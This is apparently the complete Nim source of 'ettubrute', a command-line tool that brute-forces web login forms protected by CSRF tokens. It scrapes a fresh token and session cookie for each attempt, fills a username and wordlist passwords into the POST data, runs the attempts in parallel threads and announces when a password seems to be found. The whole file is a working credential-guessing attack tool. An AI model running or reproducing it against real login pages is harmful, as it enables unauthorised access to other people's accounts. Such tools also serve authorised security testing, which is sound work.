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ettubrute.nim
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ettubrute.nim
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from os import sleep, splitPath; from uri import encodeUrl; from times import epochTime
import httpclient, docopt, strutils, threadpool, system, avxcount, terminal
# banner, args, and variables
enableTrueColors()
let banner = """
. . .o8 .
.o8 .o8 "888 .o8
.ooooo. .o888oo .o888oo oooo oooo 888oooo. oooo d8b oooo oooo .o888oo .ooooo.
d88' `88b 888 888 `888 `888 d88' `88b `888""8P `888 `888 888 d88' `88b
888ooo888 888 8888888 888 888 888 8888888 888 888 888 888 888 888 888ooo888
888 .o 888 . 888 . 888 888 888 888 888 888 888 888 . 888 .o
`Y8bod8P' "888" "888" `V88V"V8P' `Y8bod8P' d888b `V88V"V8P' "888" `Y8bod8P'
It's March 15th, Julius CSRF.
Version 1.1
"""
let doc = """
Usage: ettubrute <login_url> <csrf_htmlname> <wordlist> <postdata_nocsrf> <username> <errormsg> [--speed <spd>]
Options:
--speed=<spd> Bruteforce speed, 1-5 [default: 5]."""
let usage = "\nUsage: ettubrute <login_url> <csrf_htmlname> <wordlist> <postdata_nocsrf> <username> <errormsg> [--speed=<spd>]"
var
login_url: string
token_name: string
postdata: string
wordlist: string
username: string
errormsg: string
brutespeed: int
timetaken* = epochTime()
args = docopt(doc, version = banner)
sleeptime = 2
count* = 0
cCount* = 0
# There's a better way to validate variables using docopt, but I'm fine with this.
try:
login_url = $args["<login_url>"]
token_name = $args["<csrf_htmlname>"]
wordlist = $args["<wordlist>"]
username = $args["<username>"]
errormsg = $args["<errormsg>"]
except:
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
echo doc
quit()
try: brutespeed = parseInt($args["--speed"])
except:
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
echo doc
quit()
if brutespeed >= 6:
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
echo doc
quit()
elif brutespeed == 5: discard
elif brutespeed == 4: sleeptime = 10
elif brutespeed == 3: sleeptime = 20
elif brutespeed == 2: sleeptime = 50
elif brutespeed == 1: sleeptime = 100
# Verify that we know where to inject username and password.
try: postdata = $args["<postdata_nocsrf>"]
except:
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
echo doc
echo "Postdata seems to be invalid."
if "^USER^" in postdata == false or "^PASS^" in postdata == false or token_name in postdata:
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
write(stdout, " ")
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright = true)
write(stdout, "ERROR ")
resetAttributes()
write(stdout, " - Argument 'postdata' must include '^USER^' and '^PASS^', and the token name shouldn't be included.\n")
quit()
# Trap ctrl+c
proc ctrlc() {.noconv.} =
if cCount == 1:
write(stdout, " ")
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright = true)
write(stdout, "Caught CTRL+C")
resetAttributes()
write(stdout, "\n")
echo("Stopped before bruteforce finished.\nRan for " & split($formatFloat(epochTime() - timetaken), ".")[0] & " seconds, tried " & $count & " passwords")
quit()
else:
cCount = 1
write(stdout, " ")
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright = true)
write(stdout, "Caught CTRL+C")
resetAttributes()
write(stdout, "\n")
sync()
echo("Stopped before bruteforce finished\nRan for " & split($formatFloat(epochTime() - timetaken), ".")[0] & " seconds, tried " & $count & " passwords")
quit()
setControlCHook(ctrlc)
# Initialize program
setBackgroundColor(bgBlack)
setForegroundColor(fgWhite, bright=true)
echo banner
resetAttributes()
var linecount = parseInt($fastCount(wordlist)) # Ultrafast linecount for large files using avxcount.nim by aboisvert
echo("Starting file " & splitPath(wordlist).tail & ", " & $linecount & " lines:")
# Define the procedure our threads will run
proc main(loginURL:string,tokenName:string,postData:string,uname:string,pword:string,errorMsg:string,linenum:int):string {.thread.} =
var
http = newHttpClient()
fetch = http.request(loginURL, httpMethod = HttpGet)
page0 = rsplit(fetch.body, tokenName, maxsplit = 1)[1] # Chopping up the reply to grab our token
page1 = split(page0, "=\"", maxsplit = 1)[1]
token = split(page1, "\">", maxsplit = 1)[0]
page2:string
cookie:string
if "cookie" in $fetch.headers: # Written for single PHP cookie. Might need patching if the server sets many cookies.
page2 = split($fetch.headers, "\"set-cookie\": @[\"")[1]
cookie = split(page2, "; ")[0]
var
inputData = postData.replace("^USER^", encodeUrl(uname)).replace("^PASS^", encodeUrl(pword)) & "&" & tokenName & "=" & token
cookieHeader = newHttpHeaders({"Cookie": cookie})
response = http.request(loginURL & "?" & inputData, httpMethod = HttpPost, headers = cookieHeader) # Try password
echo(" --> " & pword)
if errorMsg in response.body == false and "field is required." in response.body == false:
setForegroundColor(fgBlack, bright=true)
setBackgroundColor(bgGreen)
write(stdout, "Password seems to have been found! -> " & pword)
resetAttributes()
write(stdout, "\n")
quit()
close(http)
# Start hurling passwords at the portal in individual threads
for line in lines wordlist:
if count == linecount:
echo "[!] Nearing end of list [!]"
discard spawn main(login_url, token_name, postdata, username, line, errormsg, count)
count += 1
sleep(sleeptime)
sync()
echo("\nRan for " & split($formatFloat(epochTime() - timetaken), ".")[0] & " seconds, tried " & $count & " passwords")